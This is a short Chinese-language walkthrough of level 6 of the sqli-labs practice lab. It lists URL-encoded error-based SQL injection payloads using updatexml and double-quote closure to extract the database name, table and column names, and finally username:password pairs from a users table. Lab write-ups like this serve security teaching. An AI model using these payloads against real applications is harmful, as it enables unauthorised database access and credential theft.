sql 注入 之sqli-labs/less-6 双注入,双引号报错注入

和第五关类似,只不过闭合符号是双引号

1,查数据库

1"and%20(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))%20--+

2.查表

内容有多行,所以使用limit依次查询

1"and%20(updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1)%20,0x7e),1))%20--+

limit 3,1 查出来users表

?id=1"and%20(updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1)%20,0x7e),1))%20--+

查字段名:

?id=1"and%20(updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20)%20,0x7e),1))%20--+

返回超过1 行,使用limit进行处理

limit 4,1 返回username字段

limit 5,1 返回password字段

查询字段内容,返回结果超过一行,使用limit函数

/?id=1"and%20(updatexml(1,concat(0x7e,(select%20username%20from%20users)%20,0x7e),1))%20--+

依次进行查询

id=1"and%20(updatexml(1,concat(0x7e,(select%20concat(username,":",password)%20from%20users%20limit%200,1)%20,0x7e),1))%20--+

相关推荐
柯南二号8 分钟前
【Java后端】MyBatis-Plus 原理解析
java·开发语言·mybatis
Easocen1 小时前
Mybatis学习笔记(五)
笔记·学习·mybatis
Tapdata2 小时前
《实时分析市场报告 2025》上线 | 从批处理到实时洞察,2025 年全球实时分析市场全景解读
数据库
海梨花2 小时前
【从零开始学习Redis】项目实战-黑马点评D2
java·数据库·redis·后端·缓存
代码的余温3 小时前
SQL性能优化全攻略
数据库·mysql·性能优化
手把手入门5 小时前
★CentOS:MySQL数据备份
数据库·mysql·adb
喂完待续5 小时前
【Tech Arch】Hive技术解析:大数据仓库的SQL桥梁
大数据·数据仓库·hive·hadoop·sql·apache
SelectDB6 小时前
5000+ 中大型企业首选的 Doris,在稳定性的提升上究竟花了多大的功夫?
大数据·数据库·apache
路多辛6 小时前
Golang database/sql 包深度解析(二):连接池实现原理
数据库·sql·golang
SimonKing6 小时前
Mybatis批量插入,形式不同性能也不同
数据库·后端·程序员